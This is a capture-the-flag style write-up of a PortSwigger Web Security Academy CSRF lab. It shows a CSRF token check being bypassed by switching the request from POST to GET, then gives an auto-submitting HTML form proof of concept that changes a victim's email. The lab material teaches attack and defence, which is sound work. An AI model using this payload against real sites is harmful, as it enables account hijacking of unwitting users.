PORTSWIGGERN/ACSRF

CSRF where token validation depends on request method

XESXOR9/2/20263 min read

#csrf#portswigger#web-security-academy

CSRF where token validation depends on request method

Platform: PortSwigger | Category: CSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CSRF

Summary

Walkthrough of the PortSwigger Web Security Academy lab CSRF where token validation depends on request method (CSRF). This lab demonstrates a csrf vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — CSRF

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Overview :

alidation of CSRF token depends on request method

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack:

 http read-only • copy allowed
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

Solution :

Since it is given that the update email functionality is vulnerable to CSRF, we can capture the request and see if there is any protection mechanism in place.

 http read-only • copy allowed
POST /my-account/change-email HTTP/1.1
Host: 0a9000b004fa0c888012c66c002e0008.web-security-academy.net
Cookie: session=nAZiwTvOzEcB1TdYD5RLaHfXTT5Mo2Lq
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net
Referer: https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

email=test%40user.net&csrf=xvqogQP8ZxVV3jk2Tyf2iisoyuHjGAbk

In this POST request, we can see that there is a csrf token used in the body of the request along with the email parameter.

To bypass this, we can try to change the request method from POST to GET .

 http read-only • copy allowed
GET /my-account/change-email?email=test%40user.net&csrf=xvqogQP8ZxVV3jk2Tyf2iisoyuHjGAbk HTTP/1.1
Host: 0a9000b004fa0c888012c66c002e0008.web-security-academy.net
Cookie: session=nAZiwTvOzEcB1TdYD5RLaHfXTT5Mo2Lq
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net
Referer: https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Now we can generate a POC and upload it in the exploit server to solve the lab.

 http read-only • copy allowed
GET /my-account/change-email?email=test%40user.net&csrf=xvqogQP8ZxVV3jk2Tyf2iisoyuHjGAbk HTTP/1.1
Host: 0a9000b004fa0c888012c66c002e0008.web-security-academy.net
Cookie: session=nAZiwTvOzEcB1TdYD5RLaHfXTT5Mo2Lq
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net
Referer: https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Generated HTML POC -

 html read-only • copy allowed
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a9000b004fa0c888012c66c002e0008.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="test&#64;user&#46;net" />
      <input type="hidden" name="csrf" value="xvqogQP8ZxVV3jk2Tyf2iisoyuHjGAbk" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Deliver the exploit to victim.

Key Takeaways / Lessons

Understanding CSRF detection and exploitation is crucial for web security.
Always validate and sanitize user input; implement proper access controls.
This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CSRF where token validation depends on request method